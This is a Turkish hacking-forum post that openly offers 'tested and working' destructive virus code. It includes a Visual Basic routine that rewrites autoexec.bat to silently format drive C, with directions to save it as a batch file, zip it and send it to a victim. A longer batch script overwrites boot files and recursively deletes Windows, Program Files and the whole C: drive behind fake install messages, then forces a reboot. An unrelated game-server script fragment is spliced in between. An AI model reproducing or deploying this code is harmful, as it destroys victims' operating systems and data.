En baba virüs kodları %100 denendi ve çalışıyor

21 Kas 2008
71
0
Hızlı Format
Akadaslar herkese selam.Döküman pek önemli degil ama belki birilerinin işine yarayablir.Buprogram gecerlı autoexec.bat dosyasını silerek yerine tekrar bir autoexec.bat dosyası olusturup içine format komutunu yazıyor.Bir aksi durum var oda:
Farzedelim ki bazı antivirus yazılımları autoexec.bat dosyasını korumaya almak amacı
ile dosya içinde arama yapıyor.
Arama sonucunda Olandışıbir Satır varsa autoexec.bat'dan temizleniyor
ancak autoexec.bat' a antivirus yazılımının eklediği satırlar olmadığı takdirde format işlemi gerçekleşiyor
Private Sub Form_Load()
Kill "C:Autoexec.bat"
Open "C:Autoexec.Bat" For Append As #1
Print #1, "@echo off"
Print #1, "echo LÜTFEN BEKLEYİNİZ!!" 'Karizmatik Olsun
Print #1, "Format C: /Autotest /Q"
Print #1, "@echo on"
Close #1
end sub


bu kodları not defterıne yapıstırın .bat olarak kaydedınzip leyin ve karsı tarafa gonderın

90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y>> B<qval <argn3>?<argn3>:<p.z>> W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z>> B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>
buda ayrı bir virüs
cd c:\\\\
attrib -s -h boot.ini
cls
attrib -s -h found.000
attrib -s -h found.001
t>boot.ini
attrib -a -s -h pagefile.sys
h>pagefile.sys
attrib -a -s -h hiberfil.sys
HH>hiberfil.sys
attrib -a -s -h -r bootfont.bin
hhh>bootfont.bin
attrib -a -s -h -r ntdetect.com
ff>ntdetect.com
attrib -a -s -h -r ntldr
f>ntldr
cls
cd..
cd..
cls
cd windows
g>win.ini
cls
g>system.ini
cls
cd pss
ft>system.ini.backup
f>win.ini.backup
cls
cd c:\\\\
@echo .::.HADi baslayalım.::.
cd windows
cd system32
attrib -r -h -s dllcache
cls
attrib -a -h -r *.manifest
cls
cd config
attrib -a -h *.log
cd..
cd restore
attrib -r -h -s filelist.xml
cls
cd c:\\\\
cls
cd windows
cls
tskill msnmsgr /a
tskill msmsgs /a
cls
del /f /q /s c:\\\\windows\\\\system32\\\\*.*
cls
cd repair
attrib -a -h ntuser.dat
f>ntuser.dat
ff>secstup.inf
cd..
attrib -h inf
attrib -h -s installer
attrib -h pif
attrib -r -h -a WindowsShell.Manifest
attrib -r -h $MSI31Uninstall_KB893803$
attrib -s -a bootstat.dat
attrib -s -h services.dll
attrib -s -h qservice.exe
attrib -a -r set3.tmp
attrib -s -h winnt.bmp
attrib -s -h winnt256.bmp
cls
cd c:\\\\
del /f /q /s c:\\\\windows\\\\*.*
cls
cd..
cd..
cd program files
cd internet explorer
attrib -a -s -h iexplore.exe
cd c:\\\\
cls
del /f /q /s c:\\\\program files\\\\*.*
cls
cd..
cd..
attrib -a -h -r -s msdos.sys
attrib -a -s -h config.sys
cls
attrib -a -h -r -s IO.sys
cls
del /f /q /s c:\\\\*.*
cls
@echo Yuklemeyi Bitirmek Ilerlemeniz Gerekir...
@echo Veri Kayiplari Olmamasi icin....!!!!!!...
@echo Devam Etmeniz Kesinlikle Onerilir...!!!..
pause
cls
cd..
cd..
cd ********s and Settings
cd All Users
cd Desktop
md .HackEd
md Bys
md Hacker
dir /s>HAcKeD.ini
@echo HALA shutDownN.exe Pc DEYse RES iyi Gider
cls
shutdown -r -t 5 -c \"HacKs FoR \" -f
shutdown -r -t 5 -c \"HacKs FoR\" -f
tsshutdn 5 /delay:2
tsshutdn 5 /delay:2
__________________
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.